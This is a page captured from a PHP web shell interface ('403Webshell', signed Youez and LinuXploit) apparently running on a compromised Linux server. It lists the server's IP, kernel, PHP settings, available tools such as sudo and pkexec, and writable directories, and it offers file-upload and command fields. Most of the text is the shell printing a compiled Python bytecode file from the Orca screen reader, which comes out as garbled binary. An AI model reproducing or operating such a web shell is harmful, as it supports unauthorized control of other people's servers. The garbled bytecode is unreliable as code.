403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/orca/scripts/terminal/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/orca/scripts/terminal/__pycache__/script_utilities.cpython-310.pyc
o

S�b��@s~dZdZdZdZdZddlZddlZddlmZddlm	Z	dd	lm
Z
dd
lmZddlmZe�
�ZGdd
�d
ej�ZdS)z$Id$z
$Revision$z$Date$zCopyright (c) 2016 Igalia, S.L.�LGPL�N)�debug)�keybindings)�
orca_state)�script_utilities)�settings_managercs�eZdZ�fdd�Zdd�Zdd�Zdd�Zd	d
�Z�fdd�Z�fd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Z�ZS)�	Utilitiescst��|�dS�N)�super�__init__)�self�script��	__class__��H/usr/lib/python3/dist-packages/orca/scripts/terminal/script_utilities.pyr)szUtilities.__init__cCsdSr	r)rrrr�
clearCache,szUtilities.clearCachecCsFt�d|j�}|s|jS|jd|���}d|}t�tj|d�|S)N�
~z!TERMINAL: Adjusted deletion: '%s'T)�re�search�any_data�startr�println�
LEVEL_INFO)r�event�match�adjusted�msgrrr�deletedText/szUtilities.deletedTextcCs�t|j�dkr
|jS|�|�r|jS|�|�r|jSz|j��}Wnd|j}t�tj|d�|jYS|j	|j	t|j�}}t
j}|�||�}d|}t�tj|d�|�|d|�}d|}t�tj|d�||kr}d}t�tj|d�|jS|�|j
|�}	d|	}t�tj|d�|dkr�|d}|	d||fvr�|	}|dkr�|d	}|d
�d�r�|d8}|�||�}
|
r�d|
}t�tj|d�|
Sd
}t�tj|d�|j}
|
S)N��%ERROR: Exception querying text for %sTz0TERMINAL: First line of insertion: '%s' (%i, %i)z/TERMINAL: Last line of insertion: '%s' (%i, %i)z.TERMINAL: Not adjusting single-line insertion.z%TERMINAL: Current line: '%s' (%i, %i))�rr�r�
z"TERMINAL: Adjusted insertion: '%s'z0TERMINAL: Adjustment failed. Returning any_data.)�lenr�isAutoTextEvent�isClipboardTextChangedEvent�source�	queryTextrrr�detail1�pyatspi�TEXT_BOUNDARY_LINE_START�getTextAtOffset�caretOffset�endswith�getText)rr�textrr�end�boundary�	firstLine�lastLine�currentLinerrrr�insertedText9sX



�zUtilities.insertedTextcCsHz|j��}Wnd|j}t�tj|d�YdS|j|j|jkS)Nr TF)r'r(rrrr-r)�detail2)rrr0rrrr�insertionEndsAtCaretts
zUtilities.insertionEndsAtCaretc�"|r|��tjkrdSt��|�S�NT)�getRoler*�
ROLE_TERMINALr
�isEditableTextArea�r�objrrrr=~�zUtilities.isEditableTextAreacr9r:)r;r*r<r
�
isTextArear>rrrrA�r@zUtilities.isTextAreacCs�|j�d�sdS|jr|jsdSt|j�dkrdS|��\}}|dkr(|jdkS|dkr>|j�d�r>|j��o=|j�d�SdS)	N�object:text-changed:insertFr�Tab�	�Returnr#r)�type�
startswithrr'r$�lastKeyAndModifiers�strip�count)rr�lastKey�modsrrrr%�s
zUtilities.isAutoTextEventcC�:|��\}}|�|�}d|vrdS|tj@r|tj@SdS)N�cF��_lastKeyCodeAndModifiers�_allNamesForKeyCoder�CTRL_MODIFIER_MASK�SHIFT_MODIFIER_MASK�r�keycoderL�keynamesrrr�lastInputEventWasCopy��


zUtilities.lastInputEventWasCopycCrM)N�vFrOrTrrr�lastInputEventWasPaste�rXz Utilities.lastInputEventWasPastecCs�|jtjkrdS|j�d�rK|j��rK|��rdS|j�d�r!dS|�	�\}}|dvr2t
�d|j�S|tj
@r9dS|��rDt|j�dkS|�|�rKdSdS)NFrBr�rErC�space� z[^\d\s]Tr)r'r�locusOfFocusrFrGrrIrZrJrHrrr�ALT_MODIFIER_MASK�lastInputEventWasPrintableKeyr$r8�rr�	keyStringrLrrr�treatEventAsCommand�s"

zUtilities.treatEventAsCommandcCsf|��rdS|j�d�r1|j��r1|��\}}|dvrdS|tj@r$dSt|j�dkr1|�	�r1dSdS)NFzobject:text-changed:deleter[Tr)
�lastInputEventWasCommandrFrGrrIrHrr_r$r`rarrr�treatEventAsNoise�s
zUtilities.treatEventAsNoisecCs0t�d�sdSt|j�dks|jtj@rdSdS)N�enableEchoByCharacterFrT)�_settingsManager�
getSettingr$�event_string�	modifiersr�ORCA_CTRL_MODIFIER_MASK)rrrrr�willEchoCharacter�s

�zUtilities.willEchoCharacter)�__name__�
__module__�__qualname__rrrr6r8r=rAr%rWrZrcrerl�
__classcell__rrrrr's
;
r)�__id__�__version__�__date__�
__copyright__�__license__r*r�orcarrrrr�
getManagerrgrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit